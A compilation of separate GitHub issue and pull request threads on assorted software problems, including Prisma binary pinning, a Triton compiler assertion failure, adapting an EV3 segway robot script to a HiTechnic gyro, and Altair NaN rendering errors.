Wrong versions of binaries are downloaded during generation

Bug description
Wrong versions of binaries are downloaded during generation
How to reproduce
I've set up a repository with a detailed README that precisely describes and demonstrates the problem. It is a fairly long, but the problem is pretty hard to describe, so please read through the whole thing and let me know if anything is unclear:
https://github.com/madebysid/prisma2-client-binaries
Expected behavior
A proposed solution is included in the README.
Prisma information
Irrelevant
Environment & setup
Irrelevant
Also, here is this problem demonstrated in the wild: https://github.com/prisma/studio/issues/391

The solution here seems easy enough: The SDK (@prisma/sdk) needs to pin the binary the same way the CLI does. There might be parameters to override that if really wanted - but probably not necessary to implement that until someone asks. Agree?

@janpio That's exactly right. Basically move the pinning down the stack from prisma2 to @prisma/sdk.
I agree that once that is implemented, overriding this version will not be useful (or required even) for most cases, so we can sideline that until a use case arises.

Maybe just a bug that this is not being used correctly when downloading the binaries?

Hmm, perhaps, I'll let the authors take a look though, I don't know about SDK internals too much!

Basically move the pinning down the stack from prisma2 to @prisma/sdk.

To me CLI and SDK were two parallel things for now - maybe that was a misunderstanding.

Thanks for reporting! We already pinned the version for a part of the sdk, but forgot to pin all parts of it. I just fixed it, you can try it out in the latest alpha.


"Jupânești", "Boia", "Pârâu Boia", "Vidin", "Vierșani" are listed in the drop-down menu

Description:
"Jupânești", "Boia", "Pârâu Boia", "Vidin", "Vierșani" are listed in the drop-down menu alongside their corresponding county and commune, according to the law
Precondition:
The website is up an running.

Step 1
Write in the search bar "Jupânești"

Expected results
The location appears in the drop-down menu as "Sat Jupânești, GORJ (Jupânești)".

Step 2
Press "x" button.

Expected results
The location was deleted from the search bar.

Step 3
Write in the search bar "Boia"

Expected results
The location appears in the drop-down menu as "Sat Boia, GORJ (Jupânești)".

Step 6
Press "x" button.

Expected results
The location was deleted from the search bar.

Step 7
Write in the search bar "Vidin"

Expected results
The location appears in the drop-down menu as "Sat Vidin, GORJ (Jupânești)".

Step 8
Press "x" button.

Expected results
The location was deleted from the search bar.

Step 9
Write in the search bar "Vierșani"

Expected results
The location appears in the drop-down menu as "Sat Vierșani, GORJ (Jupânești)".


Using ngBlur causes $apply already in progress error

Using ngBlur causes $apply already in progress error. ngChange works fine but I'd like to have an event when the input is blurred.

ngBlur is more a part of angular than this component.  One workaround is to evalAsync so that your code runs after the apply finishes.
https://github.com/angular/angular.js/blob/master/src/ng/directive/ngModel.js#L1078-L1086
      element.on('blur', function(ev) {
        if (modelCtrl.$touched) return;

        if ($rootScope.$$phase) {
          scope.$evalAsync(modelCtrl.$setTouched);
        } else {
          scope.$apply(modelCtrl.$setTouched);
        }
      });

$$phase is more of a private thing that probably shouldn't be used outside of angular, but your function could just always evalAsync in order to ensure that the function is called at the end of the apply in progress.

There is also an answer from a contributor to angular, it is a bit older but probably could help here.  I've seen this sometimes called a "safe" apply.  Hope that helps.

One month, closing


RDM-13079

JIRA link (if applicable)
https://tools.hmcts.net/jira/browse/RDM-13079
Change description
FTAs for CategoryID
Does this PR introduce a breaking change? (check one with "x")
[ ] Yes
[x] No

Closing this pull request as all change are now present in https://github.com/hmcts/ccd-test-definitions/pull/43


Accept FnMut instead of fn pointer in ArcLoaderBuilder::customize

Fn pointer isn't a great fit for public API as it doesn't allow capturing closures to coerce into it.
We have a use case in which we want to download remotely stored .ftl files and then inject them into ArcLoaderBuilder. To accomplish that a capturing closure is necessary.
This shouldn't be a breaking change, Box<dyn FnMut> won't allocate if a fn pointer is provided into ArcLoaderBuilder::customize, and the only downside here is dynamic dispatch.

Thank you for your PR, and congrats on your first contribution! 🎉


Make Reactive autoconfiguration conditional on BindingService

LGTM; rebased and merged as https://github.com/spring-cloud/spring-cloud-stream/commit/2667b7be685f13de493daff8f7886ae7dcb27a37


Update segment display guide?

The segment display now has a built-in function to display a digit, perhaps we should remove the segment-display guide as it may be misleading? Or perhaps update it with an example of displaying a full number (more than one digit)?
@Isaglish considering you wrote the guide, what do you think?

Removed with #39


DPL-468 - Data fixes overview

User story
PAM have identified various data issues. These could (should?) be made into separate issues to track, but I'm making a central ticket for them for the moment. See the table below for specific information regarding the data issues.

Priority
Field
Issue
Action
Ready for PSD

1
All
Randox uploaded incorrect plate maps in June 2021. As such the root sample ID associated with these samples is incorrect
Mark all samples as consent withdrawn
Yes

2
Date tested
Brants Bridge date tested in future
DONE
Yes

3
Date tested
LSPA date tested in future
~Plate CHERY00002524 was sent in mdy format. Change date tested to dmy. 10/01/2022.~ DONE
Yes

4
Root sample ID
Root sample ids irregular
AK to continue to work with PSD to assess criteria. MK is in Progress. Cambridge to fix.
No

5
Root sample ID
Brants Bridge sent root sample ids in incorrect format
Plate<PHONE_NUMBER>2133259 had non clinical samples and duplicated samples. Remove Test sample and duplicates according to attached plate map and correct root sample IDs for original sample.
Yes

6
RNA ID/Plate Barcode
Brants Bridge sent ~1500 samples with incorrect RNA ID
Correct data received for 1063 samples, AK chasing up remaining 445
No

Who are the primary contacts for this story
Alan K
Jonnie B
Acceptance criteria
To be considered successful the solution must allow:

[ ] Randox sample IDs from June 2021 fixed
[x] Brants Bridge incorrect dates fixed
[x] LSPA incorrect dates fixed
[ ] Root Sample IDs fixed (see DPL-048-1)
[ ] Brants Bridge Root Sample IDs fixed
[ ] Brants Bridge RNA IDs fixed

For sub-issues 4,5,6 we will say all affected samples to be marked sample withdrawn with no further corrections.

Deprecated by the Product Owner.


Assertion failure in Coalesce pass in functions with if ...: return, when LLVM assertions enabled

Reproduction:

TRITON_USE_ASSERT_ENABLED_LLVM=1 pip install triton-source-tree/python
Run this:

import torch
import triton
import triton.language as tl

SIZE = 64

@triton.jit(do_not_specialize=["flag"])
def repro(flag, in_ptr, out_ptr):
    offsets = tl.arange(0, SIZE)
    in_tensor = tl.load(in_ptr + offsets)
    if flag:
        return
    tl.store(out_ptr + offsets, in_tensor)

def main():
    in_tensor = torch.zeros((SIZE,), dtype=torch.float32, device="cuda")
    out_tensor = torch.empty_like(in_tensor)
    repro[1,](False, in_tensor, out_tensor)
    print(out_tensor)

if __name__ == "__main__":
    main()

Result:
python: /tmp/llvm-project/mlir/lib/Analysis/SliceAnalysis.cpp:105: void getBackwardSliceImpl(mlir::Operation*, mlir::SetVector<mlir::Operation*>*, mlir::TransitiveFilter): Assertion `parentOp->getNumRegions() == 1 && parentOp->getRegion(0).getBlocks().size() == 1' failed.

Analysis
The if ...: return gets translated to IR with a cf.cond_br and multiple blocks, instead of the scf control flow that triton normally uses:
module {
  tt.func public @repro_01d2d(%arg0: i1, %arg1: !tt.ptr<f32> {tt.divisibility = 16 : i32}, %arg2: !tt.ptr<f32> {tt.divisibility = 16 : i32}) attributes {noinline = false} {
    %0 = tt.make_range {end = 64 : i32, start = 0 : i32} : tensor<64xi32>
    %1 = tt.splat %arg1 : (!tt.ptr<f32>) -> tensor<64x!tt.ptr<f32>>
    %2 = tt.addptr %1, %0 : tensor<64x!tt.ptr<f32>>, tensor<64xi32>
    %3 = tt.load %2 {cache = 1 : i32, evict = 1 : i32, isVolatile = false} : tensor<64xf32>
    cf.cond_br %arg0, ^bb1, ^bb2
  ^bb1:  // pred: ^bb0
    tt.return
  ^bb2:  // pred: ^bb0
    %4 = tt.splat %arg2 : (!tt.ptr<f32>) -> tensor<64x!tt.ptr<f32>>
    %5 = tt.addptr %4, %0 : tensor<64x!tt.ptr<f32>>, tensor<64xi32>
    tt.store %5, %3 {cache = 1 : i32, evict = 1 : i32} : tensor<64xf32>
    tt.return
  }
}

Then Triton's coalesce pass attempts to compute the "slice" for %2 = tt.addptr %1, %0:
https://github.com/openai/triton/blob/4e2f57add5d2e9e480b3e8314b7606641f0d97a2/lib/Dialect/TritonGPU/Transforms/Coalesce.cpp#L38
Which in turn calls the MLIR built-in helper getBackwardSlice:
https://github.com/openai/triton/blob/4e2f57add5d2e9e480b3e8314b7606641f0d97a2/lib/Analysis/Utility.cpp#L333
Which walks back through the data flow to find all the operations that fed into %2. In particular, it walks from %2 -> %1 -> %arg1, which hits some special logic for block arguments:
https://github.com/llvm/llvm-project/blob/520362b28db51f6374f2f91e9d8e98bb555d847f/mlir/lib/Analysis/SliceAnalysis.cpp#L98-L107
This logic triggers an assertion failure if the block is part of a multi-block region. In this case, the region is the kernel function, and because of the use of cf.cond_br, it has multiple blocks, tripping the assert.
Potential solutions
I'm not sure what the best solution is.
One approach would be to remove the use of cf.cond_br, but I'm not sure how to do that while still supporting early-return.
Another option would be to pass a "filter function" to getBackwardSlice, that stops the dependency walk before it hits %arg1. Unfortunately, the way getBackwardSliceImpl is structured, the assertion runs before it checks the filter to see whether it should walk into the block operation. So we could pass in a filter that cuts off the walk before it processes %1, but not one that processes %2 -> %1 and then stops before the assertion.

Though possibly we could fix this upstream in LLVM?

Or, we could simple remove the assertion... I don't think it's actually doing anything useful? Either upstream in LLVM, or by copying the code into triton.

Set flag as a constexpr should fix the problem

Or, we could simple remove the assertion... I don't think it's actually doing anything useful? Either upstream in LLVM, or by copying the code into triton.

You meant compile it without TRITON_USE_ASSERT_ENABLED_LLVM=1?

Set flag as a constexpr should fix the problem

Sure, but this is a minimal reproducer -- in my real code the early-return condition isn't just a constant :-)

You meant compile it without TRITON_USE_ASSERT_ENABLED_LLVM=1?

I meant delete the assert(...) line from the source, because it is nice to be able to run triton with assertions enabled -- eg for debugging.

Sure, but this is a minimal reproducer -- in my real code the early-return condition isn't just a constant :-)

Is it a tensor?

I don't know what you're asking. There are tensors involved in calculating it, but if tensor: ... isn't a legal operation, so by definition it couldn't be a tensor, right?
And in any case, the details of what's going into the if statement are irrelevant to whether Triton should be triggering an assert failure on this code, right?

if flag is not a torch.tensor, you could still go with the tl.constexpr approach.

And in any case, the details of what's going into the if statement are irrelevant to whether Triton should be triggering an assert failure on this code, right?

Yes


Document how to use the NXT HiTechnic Gyroscope sensor on segway.py

The building instructions state you can use:
1x Gyroscopic Sensor.
Use one of the following sensors:

EV3 Gyro by LEGO (pictured below)
NXT Gyroscope by HiTechnic

Running segway.py with the driver for the HiTechnic gyro sensor set like this:
echo ht-nxt-gyro > /sys/class/lego-port/port1/set_device
The program ends like this:
Traceback (most recent call last):
  File "./segway.py", line 52, in <module>
    gyroSensor.mode     = gyroSensor.MODE_GYRO_RATE
  File "/usr/lib/python3/dist-packages/ev3dev/core.py", line 1716, in mode
    self._mode = self.set_attr_string(self._mode, 'mode', value)
  File "/usr/lib/python3/dist-packages/ev3dev/core.py", line 229, in set_attr_string
    return self._set_attribute(attribute, name, value)
  File "/usr/lib/python3/dist-packages/ev3dev/core.py", line 216, in _set_attribute
    raise Exception("%s is not connected" % self)
Exception: GyroSensor is not connected

Second attenpt with the HT gyro set as default analog device ends quite the same:
Traceback (most recent call last):
  File "./segway.py", line 52, in <module>
    gyroSensor.mode     = gyroSensor.MODE_GYRO_RATE
  File "/usr/lib/python3/dist-packages/ev3dev/core.py", line 1716, in mode
    self._mode = self.set_attr_string(self._mode, 'mode', value)
  File "/usr/lib/python3/dist-packages/ev3dev/core.py", line 229, in set_attr_string
    return self._set_attribute(attribute, name, value)
  File "/usr/lib/python3/dist-packages/ev3dev/core.py", line 216, in _set_attribute
    raise Exception("%s is not connected" % self)
Exception: GyroSensor is not connected

System info (from ev3dev-sysinfo)
Image file:         ev3dev-stretch-ev3-generic-2017-10-24
Kernel version:     4.9.49-ev3dev-1.5.1-ev3
Brickman:           0.10.0
ev3devKit:          0.5.2
Board:              board0
BOARD_INFO_HW_REV=7
BOARD_INFO_MODEL=LEGO MINDSTORMS EV3
BOARD_INFO_ROM_REV=6
BOARD_INFO_SERIAL_NUM=0016535166E2
BOARD_INFO_TYPE=main

The segway is so much fun! Thanks for that Laurens.

Sensor config
You can leave the HT Sensor in nxt-analog mode. That will give you the full resolution. The code is already set up to do the appropriate conversions. We just need to change a scaling constant, as explained below.
Here is the part you'll want to change. Keep in mind that the sensor is automatically correctly set up, but the ev3dev Python library is used to easily find the location of the "value0" file that contains the sensor value.
# Gyro Sensor setup
gyroSensor          = ev3.GyroSensor()          # Replace by something like nxt-analog (not sure about its name)
gyroSensor.mode     = gyroSensor.MODE_GYRO_RATE # Remove this. The HT Gyro can only provide the rate anyway
gyroSensorValueRaw  = open(gyroSensor._path + "/value0", "rb")  # This opens the value0 file containing the sensor value we want.

If there is nothing like "analog" in the Python library, keep only the last line, and provide the path yourself (/sys/class/lego-sensor/path/to/value/0/file)
Converting the units
The code was designed with support for other sensors in mind. The angular rate is calculated like this:
gyroRate = (gyroRateRaw - gyroOffset)*radiansPerSecondPerRawGyroUnit # Don't change this formula, it's just here to explain it

The offset and the scaling vary between the sensors. The offset is automatically calculated by the program in the calibration step, so you won't have to change that.
The scaling is configured by this constant:
degPerSecondPerRawGyroUnit     = 1   # For the LEGO EV3 Gyro in Rate mode, 1 unit = 1 deg/s

For the HiTechnic sensor, use 0.2084 for this constant.
I think the positive rotation rate was the same for the HT Sensor as for the LEGO Gyro. But if it isn't, you can mount the sensor on the other side of the Brick (swap it with the Touch Sensor.)

Thank you for the to-the-point and as always well documented response.
Will try and report back.

Thank you for bringing it up :)
Look forward to hear how it goes.

First short report:
Did the software update you indicated and swapped the touch and HiTech gyro as the wheels were turning the wrong way.
A  bit jerky but stable with all debian services active and using wifi.
Stays up for a minute or so and then oscilates out of control and drops.
Will do a more detailed report later today.

Status
Running EV3-brick on Image: ev3dev-stretch-ev3-generic-2017-10-24
Updated and added several packages I like; e.g. figlet bc joe bash-completion logwatch and more
So it's NOT a clean image anymore.

Connect via ssh over wifi as user robot

cd ~
mkdir test_segway
cd test_segway/
wget https://github.com/laurensvalk/segway/raw/master/ev3/ev3dev/python/segway.py
wget https://github.com/laurensvalk/segway/raw/master/ev3/ev3dev/python/parameters.py
chmod +x segway.py

Status of segway.py and parameter.py according to github:
Latest commit 5d6dcf6 20 days ago @laurensvalk laurensvalk Tuning

HiTechnic Gyro sensor at default ANALOG-0 mode.
To be sure: Test unadapted segway.py - fails as expected; Oke.

Modifications
Software change:
Adapt segway.py:
Changed this:
# Gyro Sensor setup   /BL 20171030
# gyroSensor          = ev3.GyroSensor()
# gyroSensor.mode     = gyroSensor.MODE_GYRO_RATE
# gyroSensorValueRaw  = open(gyroSensor._path + "/value0", "rb")

Into this:
gyroSensor          = ev3.Sensor(address="ev3-ports:in2")
gyroSensorValueRaw  = open(gyroSensor._path + "/value0", "rb")

Hardware change:
Added touch sensor as building instructions I used did not yet have it :-) .
Swap the touch sensor and the gyro sensor as the wheels turn "the wrong way":
Touch sensor on the "speaker-side"
Gyro sensor on the "sd and USB" side
Seen results:

FUN
Still all debian services active and using wifi: A bit jerky but stable.
Stays up for a minute or a bit less sometimes and then oscillates out of control and drops.
A very slight turn to the left while balancing
Sometimes a rush forward or backward occurs 20~40cm and is recovered
start balancing is a bit picky with how correct I keep the robot up-right, sometimes almost direct dropdown

Question (I am not a python expert - far off even )
The "Platform specific constants and conversions" are within the main loop.
Assume they do not change while running.
Might it help a tiny bit for speed to move them to the part where the sensors/motors are setup?
I ask because this may improve simple usability:
The type of giro could be determined in the program without modification and
at the same location set the constatns accordingly.
Suggested part of the gyro setup:
# Gyro Sensor setup   /BL 20171030 START Gyro determination
gyroSensor          = ev3.GyroSensor()
if gyroSensor._path == None:
    eprint("No EV3.GyroSensor connected; try an analog sensor")
    gyroSensor          = ev3.Sensor(address="ev3-ports:in2")
    if gyroSensor._path == None:
        eprint("No sensor connected to input port-2; Quitting")
        exit()
    else:
        # check that this *is* a default analog sensor:
        eprint("Path to Gyro=" + str(gyroSensor._path))
        eprint("        Mode=" + str(gyroSensor.mode))
        if gyroSensor.mode != "ANALOG-0":
            eprint("No ANALOG sensor with mode: ANALOG-0 is connected to input port-2; Quitting")
            exit()
        else:
            eprint("Using sensor at '" + gyroSensor.address + "' with mode " + gyroSensor.mode)
            degPerSecondPerRawGyroUnit     = 0.2084                                # For the HiTechnic Gyro in ANALOG-0 mode, 1 unit = 0.2084 deg/s
else:
    gyroSensor.mode     = gyroSensor.MODE_GYRO_RATE
    gyroSensorValueRaw  = open(gyroSensor._path + "/value0", "rb")
    degPerSecondPerRawGyroUnit     = 1                                             # For the LEGO EV3 Gyro in Rate mode, 1 unit = 1 deg/s
    eprint("Using EV3.GyroSensor at '" + gyroSensor.address + "' with mode " + gyroSensor.mode)

#                     /BL 20171030 END Gyro determination

And the variable setting degPerSecondPerRawGyroUnit removed from further down
I can only test the HT-gyro as I do not have any other...

Thanks for the detailed response!

gyroSensor          = ev3.Sensor(address="ev3-ports:in2")

Thanks for working this out, that is useful to know. I'll look at adding something like this to the code.

FUN

:thumbsup:

A very slight turn to the left while balancing

Since you've tried the EV3-G version you probably noticed that it compensates for this. Maybe I should add this feature here too. The steering is caused by a slight difference in friction of the motors, which is especially apparent at low speeds.

Swap the touch sensor and the gyro sensor as the wheels turn "the wrong way"

I'll look at implementing the orientation in software. Changing minus signs quickly gets very confusing, so I am not going to suggest you try that.**

The "Platform specific constants and conversions" are within the main loop.

I don't think that's currently the case. Note that there are two loops. The outermost loop defines the constants and resets sensors, prior to starting the balancing loop with the Touch Sensor.
** Just too tempting. Try changing 0.2084 to -0.2084 instead of mounting the sensor on the other side.

Thanks Laurens.

** Just too tempting. Try changing 0.2084 to -0.2084 instead of mounting the sensor on the other side.

Maybe just to make it a bit clearer to the reader: set it as
# Negative value for the HiTechnic sensor to prevent turning the wrong way:
degPerSecondPerRawGyroUnit     = 0 - 0.2084
#

Tried this and that works, so there is no hardware mod needed.

I don't think that's currently the case. Note that there are two loops. The outermost loop defines the constants and resets sensors, prior to starting the balancing loop with the Touch Sensor.

Correct of course. I just want to keep the setting of the constants together as best as possible.
And the degPerSecondPerRawGyroUnit needs to be set near the gyro setup.
There is not much spare time for me the next days, but if I can test, just ping me.

Tried this and that works, so there is no hardware mod needed.

This was my mistake --- for some reason I mounted the HiTechnic sensor on the other side of the brick in the building instructions, which is rather confusing.
If it is mounted like the EV3 Gyro, no minus sign is needed, as you correctly found out. Both sensor have the same "positive rotation rate" direction.

I updated the code to add support for the HiTechnic sensor. Right now without the minus sign: so the sensor is mounted just like the EV3 Gyro.

Ehrm, @laurensvalk Just downloaded the current segway.py and parameters.py and tested on my EV3 brick with my HiTechnic Gyro. (Latest commit 6c278d4 )
Had to add the negative sign to get the robot balancing.
The gyro is mounted on the "speaker" side of the brick.
After negating the robot does balance, not perfect but sometime anyway.
Maybe add a print about the time "standing"?

Yes, see my note above :smile:

Aaaahhh, right, so my Gyro is on the wrong side :-(
"grumble" I did not have the correct "picture" of the build in my mind.
Sorry for the noise ;-)
Anyway the gyro detection also works for me, thank you.

Thanks for your help and providing the piece of code to enable the HiTechnic Sensor! I'll close this issue then.

After negating the robot does balance, not perfect but sometime anyway.

Feel free to open a new issue for this. It seems to work allright for me. I wonder what might be causing the difference between our robots.

I actually meant a new issue about the "imperfect balancing and only for some time" part, but you're right, I'll have to fix the HT Gyro placement too.


[Question] PATH

Is it possible to somehow use this role to EDIT (rather than add) to the environment?
Specifically, I would like to add to $PATH, but what actually happens is the existing one is overwritten.
I also tried PATH: "$PATH:/foo/bar/"

Hi, you can edit/replace the existing PATH definition as such:
---
- hosts: all
  roles:
    - weareinteractive.environment
  vars:
    environment_config:
      PATH: "/foo/bar:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games/"

But you can't add another PATH definition as it's using the lineinfile module.
Hope this helps


Remove second example for ".tear()"

This was probably copy/pasted by mistake, see https://github.com/impress/impress.js/pull/625/commits/8c12757b96f699488de7bc1e257f8365dd3471ae#r143401558

Even though CI is failing, I'm gonna merge because this just touches markdown. See this for more context.


fix: remove reimbursement manual check for payment option

Details

Show "Pay with Expensify" when "reimbursementChoice" is manual.

Fixed Issues

$ https://github.com/Expensify/App/issues/49576
PROPOSAL: https://github.com/Expensify/App/issues/49576#issuecomment-2411985804
Tests

Create new test account.
Submit an expense to a new account that hasn’t been created yet
Log in to account 2 and try to pay the expense submitted from account 1
Mess up the bank flow/cancel the flow.
In the workspace page, check the payment option. "Pay with expensify" should be visible.

[x] Verify that no errors appear in the JS console

Offline tests

NA
QA Steps

Same as Test steps

[ ] Verify that no errors appear in the JS console

PR Author Checklist

[x] I linked the correct issue in the ### Fixed Issues section above
[x] I wrote clear testing steps that cover the changes made in this PR

[x] I added steps for local testing in the Tests section
[x] I added steps for the expected offline behavior in the Offline steps section
[x] I added steps for Staging and/or Production testing in the QA steps section
[x] I added steps to cover failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)
[x] I tested this PR with a High Traffic account against the staging or production API to ensure there are no regressions (e.g. long loading states that impact usability).

[x] I included screenshots or videos for tests on all platforms
[x] I ran the tests on all platforms & verified they passed on:

[x] Android: Native
[x] Android: mWeb Chrome
[x] iOS: Native
[x] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[x] MacOS: Desktop

[x] I verified there are no console errors (if there's a console error not related to the PR, report it or open an issue for it to be fixed)
[x] I followed proper code patterns (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick)
[x] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method

[x] If any non-english text was added/modified, I verified the translation was requested/reviewed in #expensify-open-source and it was approved by an internal Expensify engineer. Link to Slack message:

[x] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[x] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is either coming verbatim from figma or has been approved by marketing (in order to get marketing approval, ask the Bug Zero team member to add the Waiting for copy label to the issue)
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I followed the guidelines as stated in the Review Guidelines
[x] I tested other components that can be impacted by my changes (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar are working as expected)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] I verified that if a function's arguments changed that all usages have also been updated correctly
[x] If any new file was added I verified that:

[x] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(theme.componentBG))

[x] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[x] If the PR modifies the UI (e.g. new buttons, new UI components, changing the padding/spacing/sizing, moving components, etc) or modifies the form input styles:

[x] I verified that all the inputs inside a form are aligned with each other.
[x] I added Design label and/or tagged @Expensify/design so the design team can review the changes.

[x] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[x] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.

Screenshots/Videos

Android: Native
https://github.com/user-attachments/assets/377f27f8-6336-430c-802c-f1c8de2cac41

Android: mWeb Chrome
https://github.com/user-attachments/assets/001a75be-09b7-4ca7-b8ca-1b3be63aae55

iOS: Native

iOS: mWeb Safari
https://github.com/user-attachments/assets/44fce12b-9045-4d03-8bf9-297cf6f2e938

MacOS: Chrome / Safari
https://github.com/user-attachments/assets/ee98027a-e814-4bc7-ba6d-49bab4bd9d53

MacOS: Desktop
https://github.com/user-attachments/assets/2ea2ff54-2baf-440c-9670-bb1687ea8c8c

I am having issues with my iOS build, hence I didn't upload that one.

:hand: This PR was not deployed to staging yet because QA is ongoing. It will be automatically deployed to staging after the next production release.


How to build dbeaver on ARM pltaform machine?

System information:

Operating system (distribution) and version:deepin v20
DBeaver version:7.0.3

Connection specification:

Database name and version

Describe your question:
hello,now I should use dbeaver on a arm64 platform machine,How can I build it?

We don't support ARM platform officially. However there are some Eclipse builds for ARM. So potentially it is possible (open dbeaver in Eclipse and try to build it).


NaN fields produce errors with the lightning renderer - may affect other renderers too?

Using Altair to render the following pandas df:
records_text = '{"clientid":"8","querytime":"18:54:20","market":"en-US","deviceplatform":"Android","devicemake":"Samsung","devicemodel":"SCH-i500","state":"California","country":"United States","querydwelltime":13.9204007,"sessionid":0,"sessionpagevieworder":0}\n{"clientid":"23","querytime":"19:19:44","market":"en-US","deviceplatform":"Android","devicemake":"HTC","devicemodel":"Incredible","state":"Pennsylvania","country":"United States","sessionid":0,"sessionpagevieworder":0}'
json_array = "[{}]".format(",".join(records_text.split("\n")))
import json
d = json.loads(json_array)
result = pd.DataFrame(d)
result

the NaN for querydwelltime produces the following error:
Javascript error adding output!
TypeError: Cannot read property 'prop' of undefined
See your browser Javascript console for more details.

The vegalite spec produced by Altair is:
{'config': {'width': 600, 'gridOpacity': 0.08, 'gridColor': u'black', 'height': 400}, 'marktype': 'point', 'data': {'formatType': 'json', 'values': [{u'deviceplatform': u'Android', u'devicemodel': u'SCH-i500', u'country': u'United States', u'sessionpagevieworder': 0, u'state': u'California', u'clientid': u'8', u'sessionid': 0, u'querytime': u'18:54:20', u'devicemake': u'Samsung', u'market': u'en-US', u'querydwelltime': 13.9204007}, {u'deviceplatform': u'Android', u'devicemodel': u'Incredible', u'country': u'United States', u'sessionpagevieworder': 0, u'state': u'Pennsylvania', u'clientid': u'23', u'sessionid': 0, u'querytime': u'19:19:44', u'devicemake': u'HTC', u'market': u'en-US', u'querydwelltime': nan}]}}

For commentary and possible fixes, this issue is tracked by lightning renderer in:
https://github.com/lightning-viz/lightning-python/issues/34
This issue is also documented in sparkmagic at: https://github.com/jupyter-incubator/sparkmagic/issues/39
cc @mathisonian

There is a part of the vega-lite spec that can filter out these things I
think in the .filter section.
On Fri, Oct 30, 2015 at 3:57 PM, Alejandro Guerrero Gonzalez <
<EMAIL_ADDRESS>wrote:

Using Altair to render the following pandas df:
records_text = '{"clientid":"8","querytime":"18:54:20","market":"en-US","deviceplatform":"Android","devicemake":"Samsung","devicemodel":"SCH-i500","state":"California","country":"United States","querydwelltime":13.9204007,"sessionid":0,"sessionpagevieworder":0}\n{"clientid":"23","querytime":"19:19:44","market":"en-US","deviceplatform":"Android","devicemake":"HTC","devicemodel":"Incredible","state":"Pennsylvania","country":"United States","sessionid":0,"sessionpagevieworder":0}'
json_array = "[{}]".format(",".join(records_text.split("\n")))
import json
d = json.loads(json_array)
result = pd.DataFrame(d)
result
the NaN for querydwelltime produces the following error:
Javascript error adding output!
TypeError: Cannot read property 'prop' of undefined
See your browser Javascript console for more details.
The vegalite spec produced by Altair is:
{'config': {'width': 600, 'gridOpacity': 0.08, 'gridColor': u'black', 'height': 400}, 'marktype': 'point', 'data': {'formatType': 'json', 'values': [{u'deviceplatform': u'Android', u'devicemodel': u'SCH-i500', u'country': u'United States', u'sessionpagevieworder': 0, u'state': u'California', u'clientid': u'8', u'sessionid': 0, u'querytime': u'18:54:20', u'devicemake': u'Samsung', u'market': u'en-US', u'querydwelltime': 13.9204007}, {u'deviceplatform': u'Android', u'devicemodel': u'Incredible', u'country': u'United States', u'sessionpagevieworder': 0, u'state': u'Pennsylvania', u'clientid': u'23', u'sessionid': 0, u'querytime': u'19:19:44', u'devicemake': u'HTC', u'market': u'en-US', u'querydwelltime': nan}]}}
For commentary and possible fixes, this issue is tracked by lightning
renderer in:
lightning-viz/lightning-python#34
https://github.com/lightning-viz/lightning-python/issues/34
This issue is also documented in sparkmagic at:
jupyter-incubator/sparkmagic#39
https://github.com/jupyter-incubator/sparkmagic/issues/39
cc @mathisonian https://github.com/mathisonian
—
Reply to this email directly or view it on GitHub
https://github.com/ellisonbg/altair/issues/80.

--
Brian E. Granger
Associate Professor of Physics and Data Science
Cal Poly State University, San Luis Obispo
@ellisonbg on Twitter and GitHub
<EMAIL_ADDRESS>and<EMAIL_ADDRESS>

We need to understand a few things here:

How vega-lite/vega need NaNs encoding. But we should only do that at the final stage when to_dict is called, not before. JavaScript has limited NaN handling compared to pandas and we don't want to make NaN handling for Python based renderers more difficult.
Implement the filter part of the spec.

Should be fixed in master...


Support .RUC files in Upload Assay

Allow .RUC files to be uploaded in Upload Assay, in addition to .CSV files.

We have discussed this with the MARS company that creates these files and have been told they will not support us doing this due to feasibility issues.


ModelReplacement Compatability

I believed this mod is not compatible with ModelReplacement?

Yes, it isn't yet compatible, but that's definitely something on the roadmap.


Deploy to Heroku

And check it looks ok on mobile etc.

https://cypiapt-lndse.github.io/friendly-friends/build/


[libmupdf] add ocr feature

New libmupdf versions have optional support for OCR with leptonica and tesseract. In the upstream project, it is enabled when both libraries are available, using the OCR_DISABLED flag:
https://github.com/ArtifexSoftware/mupdf/blob/c5d3b65c8a3e1923cd816e8cb0eed726937a289d/include/mupdf/fitz/config.h#L216-L220
